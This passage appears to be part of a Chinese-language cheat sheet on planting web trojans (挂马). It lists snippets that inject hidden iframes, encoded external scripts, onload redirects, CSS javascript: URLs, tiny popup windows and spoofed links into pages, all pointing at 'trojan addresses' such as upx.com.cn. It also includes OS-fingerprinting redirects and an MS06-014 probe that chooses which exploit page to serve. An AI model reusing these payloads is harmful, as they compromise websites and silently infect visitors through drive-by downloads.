保存为xxx.js,

则JS挂马代码为

<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>

muma.txt可改成任意后缀

四:body挂马

<body onload="window.location='地址';"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.upx.com.cn/muma.htm/"></iframe>';

六:css中挂马

body {

background-image: url('javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>

window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

</script>

八:图片伪装

<html>

<iframe src="网马地址" height=0 width=0></iframe>

<img src="图片地址"></center>

</html>

九:伪装调用:

<frameset rows="444,0" cols="*">

<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">

<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">

</frameset>

十:高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>

<SCRIPT Language="JavaScript">

function www_163_com ()

{

var url="网马地址";

open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");

}

</SCRIPT>

十一:判断系统代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD><TITLE>404</TITLE>

<META http-equiv=Content-Type content="text/html; charset=windows-1252">

<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>

<BODY>

<SCRIPT language=javascript>

window.status="";

if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)

window.location.href="tk.htm";

else

window.location.href="upx06014.htm";

</SCRIPT>

</BODY></HTML>

十二:判断是否有ms06014代码

<script language=VBScript>

on error resume next

set server = document.createElement("object")

server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"

set File = server.createobject(Adodb.Stream,"")

if Not Err.Number = 0 then

err.clear

document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")

else

document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")

end if

</script>

十三:智能读取js的代码demo

//读娶src的对象

var v = document.getElementById("advjs");

//读娶src的参数

var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));

document.write("<iframe src=\"http://www.upx.com.cn/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");

document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");

document.writeln("<HTML><HEAD>");

document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");

document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");

document.writeln("<BODY> ");

document.writeln("<DIV style=\"CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\">");

document.writeln("<DIV ");

document.writeln("style=\"CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")

//分析src的参数函数

function getUrlParameterAdv(asName,lsURL){

loU = lsURL.split("?");

if (loU.length>1){

var loallPm = loU[1].split("&");

for (var i=0; i<loallPm.length; i++){

var loPm = loallPm[i].split("=");

if (loPm[0]==asName){

if (loPm.length>1){

return loPm[1];

}else{

return "";

}

}

}

}

return null;

}

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